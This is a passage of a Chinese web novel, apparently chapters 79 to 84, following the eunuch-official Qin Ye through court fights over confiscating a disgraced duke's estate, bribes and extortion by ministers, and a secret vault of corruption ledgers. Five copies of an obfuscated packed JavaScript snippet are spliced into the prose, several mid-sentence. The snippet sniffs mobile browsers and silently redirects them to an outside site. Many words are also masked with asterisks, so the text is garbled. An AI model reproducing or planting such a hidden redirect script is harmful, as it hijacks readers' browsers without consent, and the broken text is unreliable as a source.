“混账东西!”司马辉一掌拍在案几上,茶盏震得跳起老高,热茶洒了一桌。他的面色铁青,眼中闪烁着骇人的寒光。 “老赵,给我查!查出是谁敢动我女儿!”司马辉咬牙切齿道。 “老爷息怒,老奴这就去办。”老赵连忙应道,转身快步离去。 司马辉站在窗前,眸中寒光闪烁。多年来在朝堂上运筹帷幄,还从未有人敢如此明目张胆地对司马家下手。他的手指无意识地敲击着窗框,发出轻微的响声。 “秦烨这小子倒是不错。”司马辉忽然想到今日之事,语气缓和了几分,“若非他及时相救,玉华怕是……” 想到这,司马辉眼中难掩赞赏的神色。这个小太监,倒是值得栽培。他转身走到书案前,提笔写下一封信,交给门外候着的下人。 第八十章 御医署的嫌疑 夜深人静,承明殿内。 “秦烨,你退下吧。”上官瑾望着站在床边的秦烨,语气有些不自然。烛光映照下,她的面容显得格外疲惫。 “陛下,今日之事非同小可,让奴婢守着些。”秦烨恭敬道。他注意到女帝的手指还在微微发抖,显然是被今日的刺杀吓到了。 “你……”上官瑾瞪了他一眼,“朕说了不用你守着。” 秦烨无奈,只得退了出去。看着紧闭的殿门,他轻叹一声。这位女帝,还是这般倔强。他在殿外的回廊处站定,竖起耳朵仔细聆听着殿内的动静。 回到自己的小院,秦烨开始梳理今日之事。暗器的来源、下手的时机、**的配方,每一样都透着诡异。他在院中来回踱步,思绪纷乱。 “御医署……”秦烨忽然停下脚步,眯起眼睛。 那日他去御医署取药,曾看到几个太医鬼鬼祟祟地聚在一起。当时没在意,现在想来,怕是有些关联。他记得其中一人手中拿着一个青色的瓷瓶,见到他来,立刻藏了起来。 秦烨走到案前,取出一个布包,里面装着今日从暗器上提取的**残留。他仔细闻了闻,眉头越皱越紧。这**的气味,与他在御医署闻到的某种药材极为相似。 “看来,得找个机会去御医署走一趟了。”秦烨眼中闪过一丝寒芒。他取出一个小瓷瓶,将解毒丹收好,以防万一。 朝阳初升,金光洒落在金銮殿的琉璃瓦上,映出一片璀璨。清晨的微风拂过庭院,带着几分凉意,吹散了夏日的闷热。 “秦公公,该起身了。”门外传来太监轻声的催促,“皇上特意吩咐,今日早朝务必要参加。” 秦烨正沉浸在一个旖旎的美梦中,梦里的上官瑾对他百依百顺,那张倾国倾城的脸庞近在咫尺,正要投怀送抱时,这声呼唤却生生打断了他的美梦。 “滚!”秦烨怒骂一声,翻了个身继续睡,被子裹得紧紧的,像是要把外界的打扰都隔绝。 门外的太监咽了咽口水,额头渗出细密的汗珠:“秦公公,您要是再不起,可就要误了早朝了。皇上可是特意叮嘱……” 话未说完,一个枕头已经砸在了门上。秦烨猛地睁开眼睛,这才想起自己已经是翰林院人,确实该去上朝。他揉了揉惺忪的睡眼,不情不愿地坐起身来。 “叫梅儿她们进来伺候。”秦烨打了个哈欠,声音里还带着几分慵懒。 很快,几个容貌秀丽的宫女鱼贯而入。梅儿手捧着温热的清水,另一个宫女端着铜镜,还有人拿着梳子和发带。她们动作轻柔地为秦烨梳洗打扮,一身六品官服穿在身上,倒也有几分威仪。 “秦公公,您的腰带歪了。”梅儿轻声提醒,纤细的手指替他整理着衣襟。 秦烨随手拍开她的手:“行了,差不多就得了。”他打着哈欠往金銮殿走去,心里暗骂:【这大清早的上什么朝,睡觉不香吗?】 宫道上已经有不少官员匆匆赶往金銮殿,看到秦烨时,有人行礼,有人假装没看见。秦烨也懒得理会,慢悠悠地往前走。 等他到达金銮殿时,早朝已经开始。殿内站满了文武百官,空气中弥漫着一股紧张的气氛。秦烨悄悄溜进大殿,找了根柱子靠着,准备眯一会儿。 “你是何人?竟敢在朝堂上如此失仪!”一个尖锐的声音在耳边响起,像是一把生锈的锯子在耳边拉动。 秦烨睁开眼,只见一个手持本子的清流官员正怒目而视。这官员面容清瘦,一副正气凛然的模样,眼中闪烁着愤怒的光芒。 “关你屁事。”秦烨懒洋洋地回了一句,继续闭目养神。那清流官气得脸色铁青,手中的笔都快捏断了,暗暗记下了这个无礼之徒。 此时殿内,大理寺卿卫秋站了出来,他的声音沉稳有力:“陛下,端木正一案已经审理完毕,但犯人已经脱逃,请陛下示下。” 话音刚落,殿内气氛顿时紧张起来。文武百官们交头接耳,窃窃私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485409|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语声此起彼伏。工部尚书张马临眼中闪过一丝精光,蠢蠢欲动,准备揽下抄家的差事。民部主事韩明远也在暗中观察局势。 龙座之上,上官瑾端坐其中。她今日一身明黄龙袍,头戴旒冠,眉目如画,却带着几分威严。她淡淡开口:“端木正罪大恶极,虽然脱逃,也难逃法网。即刻发海捕文书,悬赏三千两缉拿要犯。同时,着人查抄其家产,以填补国库的缺口。” “微臣愿担此重任!”张马临第一个跳了出来,他的声音中带着掩饰不住的急切,“身为工部的掌舵人,最熟悉理财之事,此事非臣莫属!” 话音未落,殿内便有不少官员附和支持。这些人平日里就与张马临交好,显然早就被他收买了。他们你一言我一语,说得天花乱坠,把张马临夸得天上有地下无。 “陛下!”韩明远也站了出来,他的声音略显尖锐,“臣与端木正素无瓜葛,由臣主持抄家最为公允。端木府中定有不少罪证,不能让这些证据落入某些人之手。” 他这话明显是在暗指张马临,让张马临脸色一变,眼中闪过一丝怒意。但让韩明远没想到的是,他说完后竟无一人附和。他这才注意到平日被他架空的民部尚书**翔正在冷笑,显然是在看他的笑话。 秦烨靠在柱子上,饶有兴致地看着这场争斗。朝堂之上,尔虞我诈,为了一个抄家的差事就闹得不可开交。这些人为了一己私利,连脸面都不要了。 【这些人还真是闲得慌。】秦烨打了个哈欠,目光扫过殿内众人,【端木正都已经**,还在这里争来争去。】 他瞥了眼龙座上的上官瑾,发现她眉头微蹙,显然这场争斗也让她有些头疼。那张倾城的容颜上浮现出一丝烦躁,让秦烨看得有些出神。 就在这时,一个尖锐的声音响起:“陛下,臣要**!” 众人循声望去,正是刚才那个被秦烨怼过的清流官。他站在殿中,手中的本子高高举起,一副义愤填膺的模样。 第八十一章 被**劾 “臣要**翰林院人秦烨,此人上朝迟到,不敬朝廷,更是倚靠柱子打盹,全无官员体统!这等行为,实在是有辱朝廷威严!” 秦烨睁开眼睛,看着这个不知死活的家伙,心中暗笑:【这不是自己往枪口上撞吗?】他站直身子,整了整衣冠,目光在那清流官身上扫过。 上官瑾的目光也投了过来,嘴角微微上扬:“秦爱卿,你可有话说?” 秦烨缓步走到殿中,声音懒散却带着几分玩味:“回陛下,臣昨夜为国事操劳到深夜,所以今早才来迟了。至于靠柱打盹,也是为了养精蓄锐,好为朝廷分忧。” 这番话说得冠冕堂皇,却又处处带着讽刺意味。那清流官气得脸色发青,手中的本子都快被捏碎了,却又无可奈何。 上官瑾轻笑一声,眼中闪过一丝趣味:“既如此,秦爱卿便说说,这抄家一事该如何处置?” 秦烨心中一动,知道这是上官瑾在给自己机会。他扫视了一圈殿内众臣,朗声道:“臣以为,抄家一事事关重大,不宜由单独一人主持。不如由大理寺、工部、民部三司会审,如此既能互相监督,又可避免有人中饱私囊。” 此言一出,张马临和韩明远的脸色都变了。他们没想到秦烨会提出这样的建议,这完全打乱了他们的计划。而上官瑾则是眼中闪过一丝赞许,显然对这个提议很是满意。 殿内气氛凝重,檀香袅袅升起,却驱散不了众臣心头的阴霾。 韩明远站在大殿之中,手心渗出细密的汗珠。他精心谋划的一切,竟被上司这般轻易破坏。殿内寂静得可怕,连呼吸声都清晰可闻。龙座之上的女帝上官瑾神色淡漠,纤长的手指轻轻敲击着扶手。 “陛下,臣有一言。” 突如其来的声音打破了沉寂。民部尚书**翔缓步而出,朝服整齐,面容肃穆。他拱手作揖,目光炯炯。 “端木正乃国公之尊,抄其家产非同小可。主事之人至少也该是一部尚书才合适。”**翔说着,目光若有若无地扫过张马临,又意味深长地瞥了眼韩明远,“工部张大人与端木正交好,不便出面。至于刘主事虽然正直,但官位太低,也不合适。” 他顿了顿,挺直腰背:“臣愿意担此重任。” 此言一出,殿内群臣纷纷附和,奉承之声不绝于耳。 “冯大人清正廉明,确实最适合不过。” “非冯大人莫属啊。” “朝中能担此重任者,唯有冯大人了。” 张马临站在人群中,听着这些阿谀奉承,眉头微皱。若只是与韩明远争夺这个位置,他还有几分把握。但**翔突然横插一脚,还得到了众臣支持,这事怕是不好办了。 他的目光在殿内游移,心中暗自盘算。若**翔查出什么不该查的东西,该如何疏通才好?那些见不得人的账本,那些私下的勾当……想到这里,他不禁攥紧了衣袖。 韩明远也是心头一沉。他在民部多年,一直压制着**翔。如今对方借此机会反击,若真让他抄了端木正的家,掌握了诸多把柄,那民部大权迟早要易主。 殿内的气氛愈发紧张,众臣的目光都集中在龙座之上。上官瑾看着群臣争抢,嘴角勾起一抹若有若无的笑意。 “诸位爱卿不必争了。”她的声音清冷悦耳,“此事朕已有合适人选。” 话音刚落,殿门吱呀一声开启。一名太监捧着明黄色的圣旨缓步而入,朱红色的绸带在殿内的微风中轻轻摆动。 群臣顿时噤若寒蝉,连呼吸都变得小心翼翼。 “天命所归君上旨意:即日起任命翰林院人秦烨,负责抄查端木**邸,钦此!” 殿内一片哗然,窃窃私语声此起彼伏。众臣面面相觑,显然没料到会是这样的结果。 秦烨从阴影处缓步而出,他神色平静,仿佛对这突如其来的任命早有准备。 “臣接旨。”他恭敬叩拜,声音沉稳有力。 张马临看着秦烨的背影,眼中闪过一丝精芒。这个突然冒出来的人物,倒是个变数。他开始在脑中盘算,该如何拉拢此人,或者……该如何制衡。 **翔却是双目喷火,胸口剧烈起伏。他苦心经营,本想借此机会在民部站稳脚跟,没想到半路杀出个程咬金。更让他恼火的是,对方不过是个六品官员,竟然就这样被委以重任。 “陛下!”**翔忍不住开口,声音中带着明显的不满,“此事恐怕不妥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485410|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦?”上官瑾眉头微皱,语气中带着一丝危险的意味。 “秦烨不过六品官员,如何能抄查一位国公的府邸?这于情于理都说不过去。”**翔继续道,“况且此事关系重大,若有半点差池……” 秦烨闻言站起身来,转过身,目光如刀。“冯大人这是何意?莫非朝中就只有你一个清官,没了你大周就要**了不成?” “老夫只是为朝廷着想。”**翔脸色阴沉,手指微微颤抖。 “为朝廷着想?”秦烨冷哼一声,“圣旨都下了你还在这里纠缠不休,分明是在与圣上对着干!” 这话如同一记重锤,砸得**翔脸色铁青。对方这顶大帽子扣得可真够狠的。 “你一个内官出身的,又懂什么军国大事?”**翔咬牙切齿,已经顾不得什么体面。 “呵呵,本尊虽出身宫闱,但论忠心,某些外臣怕是远不及。”秦烨冷笑,字字带刺。 眼看二人争执不休,殿内气氛剑拔**张。上官瑾眸光一寒,周身散发出一股凛冽的威压。 “肃静!”太监的尖锐嗓音响彻大殿。 殿内顿时鸦雀无声,连窃窃私语都消失了。众臣低着头,大气都不敢出。 龙座之上,上官瑾的声音清冷而威严。 “六品官阶,确实不够资格主持此事。” 大殿内气氛凝重,文武百官屏息以待。秦烨站在朝班中央,衣袍整洁,神色从容。他的目光微垂,但眼底闪过一丝不易察觉的精芒。这一步,他早有预料。 殿内檀香袅袅,青玉地砖映照着文武百官的身影。**翔站在朝班前列,嘴角挂着若有若无的笑意。在他看来,这场博弈已经结束了。一个小小的六品官,如何能与他这个民部尚书抗衡? “韩明远。” “臣在!” 韩明远快步上前,锦袍翩翩,脸上带着恰到好处的谄媚笑容。作为仪部侍郎,他深谙朝堂之道。虽然抄家主事官一职与他无缘,但只要**翔得不到,他就心满意足了。 “即刻提拔翰林院人秦烨为四品官阶。”上官瑾的声音不疾不徐,却让殿内众人心头一震。 “臣遵旨!” 第八十二章 众人巴结 文武百官面面相觑,没想到事情会有这样的转折。**翔的脸色瞬间阴沉下来,他死死盯着秦烨的背影,仿佛要将其刻进骨子里。 上官瑾美目流转,看向民部尚书**翔:“现在,资格应该足够了吧?” **翔强压怒火,躬身道:“臣不敢违抗圣意。” “退朝!” “臣等恭送陛下!” 群臣齐声高呼,待上官瑾离去,众人这才起身。大殿内顿时响起窃窃私语,不少人向秦烨投来或羡慕或嫉妒的目光。 韩明远凑到秦烨身边,压低声音道:“秦大人,恭喜高升啊!” “哈哈,为陛下效力罢了。”秦烨淡然一笑。他的目光不经意间扫过**翔,后者正与几名大臣低声交谈,时不时朝这边投来阴冷的目光。 离开大殿后,秦烨漫步在宫道上。青石板路两旁,凤仪园里的牡丹正值盛开,香气扑鼻。忽然,他听到身后传来脚步声。以他的武道修为,自然察觉到是**翔在跟着他。 走了约莫百步,身后传来**翔的声音:“秦大人,请留步。” 秦烨转身,看到**翔正站在一株老梅树下。阳光透过枝叶,在地上投下斑驳的影子。 “陈大人跟了我这么久,有何见教?”秦烨笑道。 **翔脸色一僵,没想到自己的跟踪这么明显。他很快调整情绪,踱步上前:“秦大人,老夫有几句话想说。端木**上的文书,想必会牵扯到不少朝中大员。这些东西对秦大人来说,既是烫手山芋,又难以发挥作用。” **翔的声音低沉,带着几分威胁的意味。 秦烨不动声色地打量着对方。**翔今年已有六旬,但精神矍铄,一双眼睛炯炯有神。他在朝中经营多年,手握重权,不知多少人对他俯首帖耳。 “不如我们合作。这些文书交给老夫处理,价钱好商量。”**翔循循善诚,“否则,这些东西在秦大人手中,恐怕会引来杀身之祸啊。” 秦烨心中冷笑。这**翔在朝堂摸爬滚打多年,却还是沉不住气。一个小小的抄家行动,就让他露出了马脚。 “冯大人说得有理。”秦烨故作沉思,“此事关系重大,容我考虑几日。” **翔眼中闪过不悦,但还是点头道:“好,老夫等着秦大人的回复。” 看着**翔离去的背影,秦烨若有所思。这次抄家行动,看来没那么简单。端木**上的文书,恐怕牵扯到了不少人的利益。 回到府邸,秦烨正要休息,却见管家匆匆赶来:“大人,外面有位自称是张府管事的人求见。” “张府?”秦烨眉头微皱,“请他进来。” 不多时,一个身着灰色长袍的中年人走了进来。他面容清瘦,眼神却十分锐利。 “在下张府管事钱忠,见过秦大人。”中年人拱手行礼。 “钱管事请坐。”秦烨示意他落座,“不知来访所为何事?” 钱忠从怀中取出一封信,双手递上:“这是我家王爷的亲笔信,请秦大人过目。” 秦烨接过信封,只见上面盖着张马临的私印。拆开一看,不由得眉头紧锁。 “赵管事,王爷这是什么意思?” 钱忠面色平静:“王爷说,端木**上的文书,事关重大。若是秦大人愿意配合,秦府必有重谢。” 秦烨将信放在桌上,淡淡道:“看来王爷也对这些文书很感兴趣啊。” “秦大人明鉴。”钱忠微微一笑,“王爷说,只要秦大人答应,这些银票就是您的了。” 说着,他从袖中取出一叠银票,整整齐齐地放在桌上。 秦烨扫了一眼,心中暗惊。这些银票加起来,至少有十万两。看来这些文书确实价值不菲,连张马临都坐不住了。 “替我谢过王爷好意。”秦烨起身,“不过此事事关重大,我需要好好考虑。” 钱忠也不强求,起身告辞:“那在下就先告退了。秦大人若是想通了,随时可以派人去张府找我。” 送走钱忠后,秦烨站在院中,看着满园的花木发呆。【短短一天,已经有两方势力来试探。这端木正的文书,究竟记载了什么秘密?】 第二日,秦烨漫步在金阙宫的青石板路上,初夏的阳光透过高大的宫墙洒落下来,在地面上投下斑驳的光影。远处传来太监们尖细的嗓音,宫女们轻盈的脚步声,一切都显得那么平静祥和。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493244|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而秦烨知道,这不过是表象。在这看似平静的宫墙之内,暗流涌动,杀机四伏。 “秦大人,工部尚书请您过府一叙。”一个小太监快步赶来,躬身行礼,声音恭敬中带着几分谄媚。 秦烨停下脚步,目光落在这个年轻太监身上。对方穿着月白色的小太监服饰,约莫十五六岁的年纪,脸上还带着些许稚气。 “张大人派你来的?”秦烨淡淡问道。 “是,是的。”小太监连连点头,“张大人说有要事相商,还请秦大人务必赏光。” 秦烨轻轻扬起嘴角,眼底闪过一丝讥诮。朝堂之上的那一幕还历历在目,这位张大人终于坐不住了。 想起之前那份触目惊心的奏疏,秦烨的眼神渐渐冷了下来。大旱之年,饿殍遍野,这位工部尚书张马临却以国库空虚为由,拒绝赈灾。那一年,不知有多少百姓含恨而终,多少家庭支离破碎。 “回去告诉张大人,想见我,让他亲自来。”秦烨语气平淡,却带着不容置疑的威严。 小太监愣在原地,眼中闪过一丝惊诧。【堂堂工部尚书,朝廷二品大员,竟要亲自来见一个太监?这……这未免太过失礼了吧?】 但看着秦烨那双平静中透着冰冷的眼睛,他不敢多言,连忙躬身退下。 消息传回张府,张马临正在书房中来回踱步。听闻秦烨的回复,他的脸色瞬间阴沉如水。 “放肆!”张马临重重拍了下桌案,茶盏震得跳了起来,“好个不知天高地厚的太监!” 站在一旁的管家小心翼翼道:“老爷,这秦烨虽然只是个太监,但如今……” “我知道!”张马临烦躁地挥了挥手,“端木正的事我都听说了。” 想到那位位高权重的国公如今的下场,张马临心中就升起一股寒意。短短数日,端木府被抄,端木正被打入大牢,甚至连他的家人都未能幸免。 而这一切,都是拜眼前这个太监所赐。 张马临深吸一口气,强迫自己冷静下来。眼下局势,由不得他不低头。那些见不得人的勾当若是被抖出来,别说官位,就连性命恐怕都保不住。 “备轿。”张马临咬牙道。 第八十三章 金钱交易 片刻后,在宫城一处僻静的角落。 “张大人来得好慢啊。”秦烨倚在一根朱漆廊柱上,脸上带着似笑非笑的表情,“时候不早了,我还要去抄家呢,有话快说。” 张马临强压怒火,挤了个苦笑:“秦公公,老夫年少时确有些过错,如今这些事不知怎的落入端木正之手。若他府上有什么记录……还请秦公公高抬贵手。” “张大人的意思是?”秦烨玩味地看着他。 “一万两银子,如何?” 秦烨冷笑一声:“一万两?打发叫花子呢?张大人这是看不起我啊。” “那秦公公要多少?”张马临咬牙问道。 “十万两。” 张马临倒吸一口凉气,但形势所迫,只得咬牙应下:“好,我给就是。” 秦烨点点头,忽然话锋一转:“张大人,我替那些饿死的百姓问你一句,当年为何说国库空虚,如今却能轻易拿出十万两?” 这句话如同一把利剑,直刺张马临心底最深的秘密。他的脸色瞬间变得煞白,额头渗出细密的汗珠。 “这是什么意思?”张马临强作镇定,“你我都是聪明人,拿了银子就别多管闲事。” “呵呵,看来十万两不够啊。”秦烨冷笑,“一百万两,这是新价码。” “你疯了!”张马临勃然大怒,“别以为拿住我的把柄就能为所欲为!我好歹也是朝廷重臣,岂是你一个……” 话未说完,秦烨猛地抓住张马临的肩膀,五指如铁钳般收紧。剧痛让张马临冷汗直冒,话音戛然而止。 “张大人,你晚上睡得安稽吗?”秦烨在他耳边低语,声音冰冷,“那些饿死的百姓,会不会来找你索命?你可知道,光是京畿一带,就有多少人因为你的一纸公文而死?” 张马临浑身颤抖,不知是因为疼痛还是恐惧。 “你……你敢威胁我?” “五万两,要么给,要么就和端木正作伴去吧。三日之内,我要见到银子。” 秦烨收手,转身离去的背影渐行渐远,留下张马临一人站在原地,肩膀隐隐作痛。 寒风呼啸,吹得他官服猎猎作响。张马临死死盯着秦烨消失的方向,脸上的表情扭曲得几近狰狞。他从未想过,自己堂堂朝廷重臣,竟会被一个小小的七品官威胁至此。 “该死!”张马临低声咒骂,右手紧握成拳,指甲深深陷入掌心。疼痛感却丝毫无法平息他内心的怒火。 张马临踱步良久,终于强迫自己冷静下来。现在不是意气用事的时候,秦烨手中握着抄家大权,若是一个不慎,不仅他要完蛋,背后那些人也会受到牵连。 “五万两……”张马临喃喃自语,眉头紧锁。这笔银子虽然不小,但只要能堵住秦烨的嘴,倒也值得。 他深吸一口气,整理了一下衣冠。“且让你得意一时。”冷哼一声,转身离去。 次日清晨,端木**邸外。 秦烨换上一身崭新的官服,腰间玉佩随风轻晃。他带着一队人马站在府门前,看着眼前这座气派的宅邸。偌大的府邸早已被上官瑾派来的禁军团团围住,一只鸟都飞不出去。 “这定远公府,果然气派。”秦烨轻声感叹,目光扫过那雕梁画栋的大门,“光是这座宅子,怕是就值个上万两银子。” “钱大人。”他转头看向身旁的工部主事钱有德。 钱有德连忙躬身:“秦大人有何吩咐?” “依你看,这端木府能抄出多少财物?”秦烨眯起眼睛问道。 钱有德沉吟片刻,小心翼翼地回答:“端木正世代为公,这些年又……”他欲言又止,看了看四周,压低声音继续道,“****的银子只怕不少。田产、珠宝、古董加起来,怎么也得值个百万两。” “百万两……”秦烨目光一闪,“开始吧。” 随着他一声令下,端木府大门轰然洞开。禁军分列两旁,刀枪寒光闪闪。 踏入府中,眼前庞大的建筑群让秦烨也不禁有些咋舌。这抄家工作,恐怕没那么容易。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493245|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把管家带上来。” 很快,一个戴着枷锁的老者被押到面前。那老者一见到秦烨,立刻扑通一声跪倒在地。 “大人饶命!小的什么都说!”管家声音颤抖,额头抵地。 秦烨居高临下地看着他:“端木正的赃物都藏在哪?” “在、在书房……”管家战战兢兢地回答。 秦烨挑了挑眉:“带路。” 穿过重重院落,来到端木正的书房前。推开那扇雕花木门的瞬间,秦烨愣住了。 眼前哪里是什么书房,分明是个金库! 一排排书架上不是寻常的书籍,而是整整齐齐摆放的金条银砖。阳光从窗棂间洒落,映得满室生辉。 “这端木正倒是个妙人。”秦烨轻笑一声。 管家低着头解释道:“老爷常说,与其空谈书中黄金屋,不如直接把书房变成金库。” “有趣。”秦烨挥手让众人退下。 等人都退出去后,他仔细打量着这间特殊的“书房”。总觉得这里面还藏着什么秘密。 他在房间里来回踱步,翻看桌上堆积如山的文件,却一无所获。就在准备放弃时,一阵微风拂过脸庞。 秦烨浑身一震,警觉地环顾四周。 房门窗户都是紧闭的,这风是从哪来的? 他闭上眼睛,仔细感受着气流的方向,在房间里缓缓移动。每到某个位置,那股微弱的气流就会出现。 “有意思……”秦烨眼中精光闪烁。 这种波动绝非寻常,必定是某处密室或暗道泄露出的气息。秦烨眯起眼睛,仔细打量着脚下的地板。整个地面铺着褐色的木板,表面光滑如镜,木纹清晰可见。 秦烨蹲下身,手指轻轻抚过木板表面。这种木材他也说不上来是什么品种,但其坚硬程度远超寻常,即便是用力按压也纹丝不动。 “端木正这老狐狸,处处都透着不寻常。”秦烨喃喃自语,作为江南大员,端木正在官场混迹多年,能有今天的地位,绝非偶然。 第八十四章 地下室 秦烨缓步在房间内游走,每一步都走得极为谨慎。房间并不大,约莫二十平方左右,但处处都透着精心布置的痕迹。墙上挂着几幅字画,笔力遒劲;案几上摆着文房四宝,一尘不染;就连那盆兰花,都显得格外雅致。 “装得倒是挺像那么回事。”秦烨冷笑一声,这些摆设无不彰显主人的清廉正直。但他清楚,这不过是端木正精心打造的表象罢了。 忽然,他的脚步顿住了。在一处不起眼的角落,有一块地板的颜色与周围略有不同。若是寻常人,恐怕根本注意不到这细微的差别。但在秦烨眼中,这里的磨损程度明显比其他地方要重。 “找到了。”他嘴角微扬,轻轻走到那块地板上。蹲下身,用手指轻轻叩击地面。“咚咚”声传来,明显是空心的。 秦烨站起身,目光在房间内扫视。这暗门的开启方式必定别具匠心,否则也不会这么多年都未被发现。他仔细检查四周,并未发现任何明显的机关痕迹。 正当他准备强行破开地板时,一个念头闪过。“等等……”他低头看着脚下那块磨损的地板,若有所思。为什么这里会磨损得如此厉害? “原来如此!”秦烨眼前一亮。这磨损并非自然形成,而是人为踩踏的结果。他抬脚用力踩下,果然,地板随即下陷了一寸。 “咔嚓”一声轻响,机关启动。眼前的地板缓缓分开,露出一条向下的石阶。幽深的地道入口黑洞洞的,不知通向何处。潮湿的气息扑面而来,带着一股霉味。 秦烨取来油灯点燃,小心翼翼地沿着台阶走下去。石阶年代久远,表面已经被磨得发亮。每一步都要小心谨慎,生怕触动什么机关。 刚走了十几步,他耳朵一动。七星养气诀让他五感敏锐异常,瞬间捕捉到了机簧启动的细微声响。“不好!”几乎是本能反应,秦烨猛地一个侧身。 “嗖嗖嗖!”数十支利箭破空而来,擦身而过。箭矢钉在石壁上,发出清脆的声响。秦烨拍了拍胸口,冷汗直冒。“这老狐狸,还真是处处设防啊。” 经过这一惊,他更加谨慎了。借着油灯的光芒,仔细观察地面,发现了一些规律。端木正每次出入,必定都是走固定的路线。日积月累下来,那些安全的地方都留下了明显的足迹。 “有意思。”秦烨顺着这些足迹前行,果然再没遇到任何机关。地道并不长,约莫走了百步左右,前方出现了一堵石壁。地上的足迹到此为止。 秦烨举起油灯,仔细打量着石壁。表面光滑,没有任何缝隙。但在靠近右侧的位置,他发现了一个小孔。形状和他之前搜查收房时找到的青铜钥匙一模一样。 “就是这里了。”他掏出钥匙,插了进去。“咔嚓”一声,石门应声而开。一股混合着纸墨香气的空气扑面而来。 随着他走入,室内的油灯自动亮起。灯火通明之下,这是一间布置精致的地下书房。除了书架外,还有床榻和大量的粮食物资。显然是为了长期躲藏准备的。 但秦烨的注意力全在那些书架上。准确地说,是书架上那些账本。每本账本上都写着大周朝官员的名字和官职。他随手翻开一本,不由倒吸一口凉气。 里面详细记载了那些官员如何勾结贪腐的证据。从银两数目到交易时间,事无巨细,令人触目惊心。“这端木正,倒是个明白人。”秦烨冷笑。这些罪证就是他的保命符。 忽然,一个熟悉的名字映入眼帘。工部尚书张马临!秦烨神色一凛,取下那本厚厚的账本。 秦烨翻看着手中的账册,眉头越皱越紧。烛光在他脸上投下明暗不定的阴影,映照出他阴沉的神色。 一笔笔数额惊人的**记录,触目惊心。每一页都写满了端木正这些年来的罪证,光是这一本账册上记载的赃款就超过十万两白银。 “这两个混账东西!”他重重拍了下大腿,指节因用力而发白。 账册上记载的不仅是冰冷的数字,更是一条条鲜活的生命。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498102|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些因为官员**而活活饿死的百姓,那些因为无力缴纳苛捐杂税而家破人亡的黎民……每一笔都是血淋淋的罪证。 秦烨的手在微微发抖,他能想象得到,在这些冷冰冰的数字背后,有多少百姓在寒风中瑟瑟发抖,有多少孩子因饥饿而夭折。 密室内光线昏暗,只有一盏油灯在桌上摇曳。秦烨抬头望向书架,密密麻麻的账册几乎要将整面墙占满。每一本都记载着贪官污吏中饱私囊的罪证,每一页都写满了大周百姓的血泪。 “难怪上官瑾治理国家如此艰难。”秦烨冷笑一声,声音里带着深深的讽刺,“朝廷上下都是这等蛀虫,江山社稷又如何能稳固?” 他的目光在昏暗的密室中游走,突然被书桌上的一个精致匣子吸引。这匣子通体乌黑,雕工精细,层层包裹,足足有七八重之多。如此严密的保护,显然藏着不同寻常的东西。 秦烨眯起眼睛,小心翼翼地打开每一层。匣子表面略显陈旧,但依然能看出当初制作时的用心。每一层都有精巧的机关,若是不知门道,轻易打不开。 最里面是一封泛黄的信件,还有一枚玉牌。玉质温润,显然是上等的和田玉。 玉牌正面刻着“卧虎藏峰”四个大字,笔力遒劲,一看就是出自名家之手。背面则是一副对联:“龙潜海角恐惊天,暂且偷闲跃在渊!” “有意思。”秦烨轻笑一声,拿起那封信。信封已经泛黄,但纸质依然完好,显然经过特殊处理。 信封上写着:“当你拆这封信时,我端木正想必已经不在人世。这里的一切,也该公之于众了。” “这老狐狸……”秦烨冷笑,眼中闪过一丝寒意,“是想死也要拉几个垫背的啊。” 